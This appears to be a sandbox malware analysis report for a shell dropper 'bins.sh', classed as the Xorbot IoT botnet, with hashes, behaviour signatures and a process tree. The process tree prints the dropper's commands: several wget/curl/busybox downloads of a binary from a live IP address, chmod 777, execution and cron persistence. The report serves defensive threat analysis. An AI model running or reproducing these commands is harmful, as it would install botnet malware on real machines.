Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    11/12/2024, 15:15

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    5eab5295c0740b5344abb66f19ea0e39

  • SHA1

    7796e56bc014459c40563c509569791a6f05341a

  • SHA256

    b516438a84f4d4febdc19c62bae733ac24bf557205fd8ac1e42d1fb0f83f0d5a

  • SHA512

    6922bb223cb1df386c64584feb519299b4e06ed94d6153a314e01a883ecfa5a608bfb4732e11dff85402cdc406fd1293db7914457c14f8024a54f87754afb4d4

  • SSDEEP

    96:C//63ZCcEgN6L/vLIPnA43WlMf61Nx//63bZCcEgN8Lv7vLIPnlXXWTyYl6f81Na:dCcEg4BaWuf61PcEgVIQz

Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2147) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Unexpected DNS network traffic destination 14 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1483
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1484
        • /usr/bin/wget
          wget http://216.126.231.164/bins/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1485
        • /usr/bin/curl
          curl -O http://216.126.231.164/bins/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1490
        • /bin/busybox
          /bin/busybox wget http://216.126.231.164/bins/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1499
        • /bin/chmod
          chmod 777 pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • File and Directory Permissions Modification
          PID:1500
        • /tmp/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          ./pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          • System Network Configuration Discovery
          PID:1501
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1503
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1504
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1505
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1506
              • /bin/rm
                rm pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
                2⤵
                • System Network Configuration Discovery
                PID:1508
              • /usr/bin/wget
                wget http://216.126.231.164/bins/VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
                2⤵
                  PID:1511

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • /tmp/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
                Filesize

                112KB

                MD5

                05d7857dcead18bbd86d2935f591873c

                SHA1

                34d18f41ef35f93d5364ce3e24d74730a4e91985

                SHA256

                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                SHA512

                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

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              • /var/spool/cron/crontabs/tmp.5CuHr6
                Filesize

                210B

                MD5

                4f42778f7729f934490d831a3cbb3700

                SHA1

                ea16c9eb8ae63a0b66e74c17785764568d92c8bd

                SHA256

                4143ed89519f5c1ec1dfb79954d88bd8669ca55eabd0465986e871765a260ba5

                SHA512

                6c13f992aa5aa19749cfe5e64941c6a6ee47f1dc5c5e4b839b95cee0e57b99c79844bfd9bb89fc38a903faa4cd4cd5df84d2c744dc63644960cca81e9bb07b7f

                Download Submit